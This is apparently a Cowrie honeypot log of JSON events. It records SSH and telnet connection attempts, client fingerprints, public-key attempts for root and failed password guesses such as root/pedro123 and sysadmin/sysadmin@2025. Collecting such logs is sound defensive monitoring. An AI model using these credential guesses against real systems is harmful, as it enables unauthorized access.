{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:57:ec:b8:1e:da:61:cf:1e:75:0c:8d:29:13:4e:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6hzNgsGgb3RnFGavLgCCE4XTnMv07d6lrcIVQq6/+Zy2Jmm7JijgLAVW6EjcvKGggUonFCtn5qohhATWdQ1yNREiXJ/hi/CyrtY+z1OlfiAqJ7dUO6cziSTR/Po6og2wUsJC9JXiwJGhWyUjucJMYC2Hup1wtRIM0Q7zymyaNL0ltTxlDQf1Pkn2M1bkNjFupoFlO/Qd7Rz6VGe1xWP7E6Zo+AKjIQsJuWz6K8tlV5BI40M+pQ+MN4buWjIvJuCHPG1/r9RwfWHeTJaZjHSB0mEQqTPaVc9Pc9vtVlOCuG2C74IBMLQpQdoKb736m8xNLyxCcC/0PpSvDlPXCvUh/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:04.641232Z","src_ip":"107.6.164.204","session":"acb49af0b44f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:cc:ea:22:83:41:d0:80:c0:c3:3f:c7:a5:19:a0:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNgYwTK7nJY5w+7D1TOlqtmiTNjcU8fj7na65k0d1VJpv62+G1Vm7aJo0Gq6bltWzbTq5BeEkRjBTYah/KI2r2mBnUYPI8kp1EKjeZsRubtCei0zrIDeYppgYNkMWVKZzPELoEAWE6XfwufVyTE7WO4V4+s8UfyRrzctLFoc5i5OxSKcH++9cYnIPbAvLBGvH4O1f1wkP4DlecbbaWI32UpRM14YL8pfMFWK7czwxoP+gRo3kl99BdyYOxYChxxluOP4liNRlpStiJYFifAFU/LAhrIPfv+Tijz0fg0Y5Gq0Iq3ohahsM2ZfbFmUKlB76wTW3S7MTi0Sq93pW+QWWr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:cc:ea:22:83:41:d0:80:c0:c3:3f:c7:a5:19:a0:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:04.731319Z","src_ip":"107.6.164.204","session":"acb49af0b44f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:cc:ea:22:83:41:d0:80:c0:c3:3f:c7:a5:19:a0:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNgYwTK7nJY5w+7D1TOlqtmiTNjcU8fj7na65k0d1VJpv62+G1Vm7aJo0Gq6bltWzbTq5BeEkRjBTYah/KI2r2mBnUYPI8kp1EKjeZsRubtCei0zrIDeYppgYNkMWVKZzPELoEAWE6XfwufVyTE7WO4V4+s8UfyRrzctLFoc5i5OxSKcH++9cYnIPbAvLBGvH4O1f1wkP4DlecbbaWI32UpRM14YL8pfMFWK7czwxoP+gRo3kl99BdyYOxYChxxluOP4liNRlpStiJYFifAFU/LAhrIPfv+Tijz0fg0Y5Gq0Iq3ohahsM2ZfbFmUKlB76wTW3S7MTi0Sq93pW+QWWr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:04.736016Z","src_ip":"107.6.164.204","session":"acb49af0b44f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:07:1e:6b:6d:32:ec:16:3e:0d:43:d0:dd:41:9b:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmMLBqzbVNIu8rHldb6BwyW3W0gKlfuJnwnW1tEfq38BI4sL0dQmymC/OlBFOV3rFSDcnVUeX8ogI/e3R94njrz/sopWJ0YotOwvEYoAkEOba2T6blDaHbAWtNk/9hvAAR2RhpGxNS0soofgglz2kAuxHheVIW/3yv5njCmyvGm3d7cZ8etjSJTCeP/DQ0j5YhKooknsdKBwOez3CIh5FN4RfETcb93A5cnjEVPPTsVNXt9u3wQVZ44vuM1nGprb6lTWSo4RkISHY4Tez1kLOytp08wpQeKoaQEBTU+TWSQuRXTlCc6lDclnoYoR8pj5zIF0/drZHFNrso/lzQPfNV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:07:1e:6b:6d:32:ec:16:3e:0d:43:d0:dd:41:9b:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:04.828980Z","src_ip":"107.6.164.204","session":"acb49af0b44f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:07:1e:6b:6d:32:ec:16:3e:0d:43:d0:dd:41:9b:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmMLBqzbVNIu8rHldb6BwyW3W0gKlfuJnwnW1tEfq38BI4sL0dQmymC/OlBFOV3rFSDcnVUeX8ogI/e3R94njrz/sopWJ0YotOwvEYoAkEOba2T6blDaHbAWtNk/9hvAAR2RhpGxNS0soofgglz2kAuxHheVIW/3yv5njCmyvGm3d7cZ8etjSJTCeP/DQ0j5YhKooknsdKBwOez3CIh5FN4RfETcb93A5cnjEVPPTsVNXt9u3wQVZ44vuM1nGprb6lTWSo4RkISHY4Tez1kLOytp08wpQeKoaQEBTU+TWSQuRXTlCc6lDclnoYoR8pj5zIF0/drZHFNrso/lzQPfNV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:04.835042Z","src_ip":"107.6.164.204","session":"acb49af0b44f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:74:4b:8b:3f:e6:63:11:c1:49:58:eb:9d:78:91:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2ObgTZkP2ohEp+F7O4HvFQvN6TVZZmb5WXeP5ZWb1v8wwli/l+fCRgXj2QVm3L7KQfRGuwC6ul/W+4ZHAQW2WAE1F72vhE80keU/1pNcIbzVFfUssa+9JU+J0xE1skbfupU6F1cmtmLwQMm5fqkhFziaWR9tQq44qsddiynTR8xCiTpZ0FnpT3d9yz7fNZ10AdLsf6zQh/2TEPCTyxntMVWXAdZrLK9Zj3Il5yuc6nvbX3aFNTeWYUs/GvevsEfY6aLPwdGhSq7cufgXtv4ItQzQFCHcdZ0LQHlyT26zFkGqewJWc8Cgqxvk6en3Kj8BPeKR7JREv52oVEXhp4rBZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:74:4b:8b:3f:e6:63:11:c1:49:58:eb:9d:78:91:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:04.943969Z","src_ip":"107.6.164.204","session":"acb49af0b44f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:74:4b:8b:3f:e6:63:11:c1:49:58:eb:9d:78:91:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2ObgTZkP2ohEp+F7O4HvFQvN6TVZZmb5WXeP5ZWb1v8wwli/l+fCRgXj2QVm3L7KQfRGuwC6ul/W+4ZHAQW2WAE1F72vhE80keU/1pNcIbzVFfUssa+9JU+J0xE1skbfupU6F1cmtmLwQMm5fqkhFziaWR9tQq44qsddiynTR8xCiTpZ0FnpT3d9yz7fNZ10AdLsf6zQh/2TEPCTyxntMVWXAdZrLK9Zj3Il5yuc6nvbX3aFNTeWYUs/GvevsEfY6aLPwdGhSq7cufgXtv4ItQzQFCHcdZ0LQHlyT26zFkGqewJWc8Cgqxvk6en3Kj8BPeKR7JREv52oVEXhp4rBZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:04.952694Z","src_ip":"107.6.164.204","session":"acb49af0b44f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:dd:b3:04:f0:cd:41:fd:f4:d9:49:45:a9:f7:1d:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDv5kT0HMS3rJZRExMpM69zagsrdDBSssj9qSAt1B0W0hFt2f6u2yus74jtF01rUcKGP5D3A7QZtJeMUz1SF+XU9k5+D9ghSlxsHF4yRuuSE22ICsY1bGhFW+VU7SpMsEOsg2ejUaEeOZCzGwjOBT0v9vAsntwzuMyVicu5kr+MvOY0YtQzHYyWGRIu0+XKQAidzAyD7PtFfuZxuq2FzBOqjNWvPHIL1u3ihaDXCrZl9WChrgk6a/2XxLslle055N+WoU0ktofp1i91+O68FAPfA9mLRlDobALNdVl5fuM8Ygvamb+lVeHKxNf0YcrW/TlRZeZvJ/3oxDRpX5Yt/mLJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:dd:b3:04:f0:cd:41:fd:f4:d9:49:45:a9:f7:1d:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:05.049816Z","src_ip":"107.6.164.204","session":"acb49af0b44f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:dd:b3:04:f0:cd:41:fd:f4:d9:49:45:a9:f7:1d:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDv5kT0HMS3rJZRExMpM69zagsrdDBSssj9qSAt1B0W0hFt2f6u2yus74jtF01rUcKGP5D3A7QZtJeMUz1SF+XU9k5+D9ghSlxsHF4yRuuSE22ICsY1bGhFW+VU7SpMsEOsg2ejUaEeOZCzGwjOBT0v9vAsntwzuMyVicu5kr+MvOY0YtQzHYyWGRIu0+XKQAidzAyD7PtFfuZxuq2FzBOqjNWvPHIL1u3ihaDXCrZl9WChrgk6a/2XxLslle055N+WoU0ktofp1i91+O68FAPfA9mLRlDobALNdVl5fuM8Ygvamb+lVeHKxNf0YcrW/TlRZeZvJ/3oxDRpX5Yt/mLJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:05.055335Z","src_ip":"107.6.164.204","session":"acb49af0b44f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:05.146266Z","src_ip":"107.6.164.204","session":"acb49af0b44f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58706,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f7cc766fe61","protocol":"telnet","message":"New connection: 192.119.13.58:58706 (10.17.0.5:23) [session: 4f7cc766fe61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:10.624375Z"}
{"eventid":"cowrie.session.closed","duration":37.748265504837036,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:10.722071Z","src_ip":"192.119.13.58","session":"883437bf6dbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.1229248046875,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:21.200933Z","src_ip":"192.119.13.58","session":"20e9eb23f90f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":46692,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b322a86874f","protocol":"ssh","message":"New connection: 158.178.141.16:46692 (159.203.135.109:22) [session: 8b322a86874f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:23.202045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:23.207354Z","src_ip":"158.178.141.16","session":"8b322a86874f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:23.424344Z","src_ip":"158.178.141.16","session":"8b322a86874f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":42270,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3335747984a","protocol":"ssh","message":"New connection: 185.92.182.129:42270 (10.17.0.5:22) [session: c3335747984a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:23.613076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:23.618733Z","src_ip":"185.92.182.129","session":"c3335747984a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:23.651412Z","src_ip":"185.92.182.129","session":"c3335747984a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin@2025","message":"login attempt [sysadmin/sysadmin@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:23.810094Z","src_ip":"185.92.182.129","session":"c3335747984a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pedro123","message":"login attempt [root/pedro123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:24.299098Z","src_ip":"158.178.141.16","session":"8b322a86874f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:24.845327Z","src_ip":"185.92.182.129","session":"c3335747984a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:25.513105Z","src_ip":"158.178.141.16","session":"8b322a86874f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47764,"dst_ip":"10.17.0.5","dst_port":23,"session":"f434305eb385","protocol":"telnet","message":"New connection: 192.119.13.58:47764 (10.17.0.5:23) [session: f434305eb385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:31.156301Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43206,"dst_ip":"10.17.0.5","dst_port":23,"session":"26328806ab5c","protocol":"telnet","message":"New connection: 192.119.13.58:43206 (10.17.0.5:23) [session: 26328806ab5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:44.217115Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":54352,"dst_ip":"159.203.135.109","dst_port":22,"session":"23c9bed65bf5","protocol":"ssh","message":"New connection: 102.223.92.101:54352 (159.203.135.109:22) [session: 23c9bed65bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:49.217383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:49.227325Z","src_ip":"102.223.92.101","session":"23c9bed65bf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:49.399265Z","src_ip":"102.223.92.101","session":"23c9bed65bf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tmp","message":"login attempt [root/tmp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:50.118204Z","src_ip":"102.223.92.101","session":"23c9bed65bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:51.293505Z","src_ip":"102.223.92.101","session":"23c9bed65bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.097440004348755,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:52.721606Z","src_ip":"192.119.13.58","session":"4f7cc766fe61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53100,"dst_ip":"10.17.0.5","dst_port":23,"session":"d34d37f6a632","protocol":"telnet","message":"New connection: 192.119.13.58:53100 (10.17.0.5:23) [session: d34d37f6a632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:53.938074Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50226,"dst_ip":"10.17.0.5","dst_port":23,"session":"43f76179616f","protocol":"telnet","message":"New connection: 192.119.13.58:50226 (10.17.0.5:23) [session: 43f76179616f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:00.627874Z"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":27464,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bc056f64a22","protocol":"ssh","message":"New connection: 158.178.141.16:27464 (159.203.135.109:22) [session: 2bc056f64a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:06.398909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:06.403489Z","src_ip":"158.178.141.16","session":"2bc056f64a22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:06.612781Z","src_ip":"158.178.141.16","session":"2bc056f64a22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jules","password":"jules","message":"login attempt [jules/jules] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:07.481874Z","src_ip":"158.178.141.16","session":"2bc056f64a22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:08.694195Z","src_ip":"158.178.141.16","session":"2bc056f64a22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.81817293167114,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:08.974339Z","src_ip":"192.119.13.58","session":"f434305eb385","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":57452,"dst_ip":"10.17.0.5","dst_port":22,"session":"65665d92e1da","protocol":"ssh","message":"New connection: 185.236.22.41:57452 (10.17.0.5:22) [session: 65665d92e1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:24.142831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:27:24.147957Z","src_ip":"185.236.22.41","session":"65665d92e1da","protocol":"ssh"}
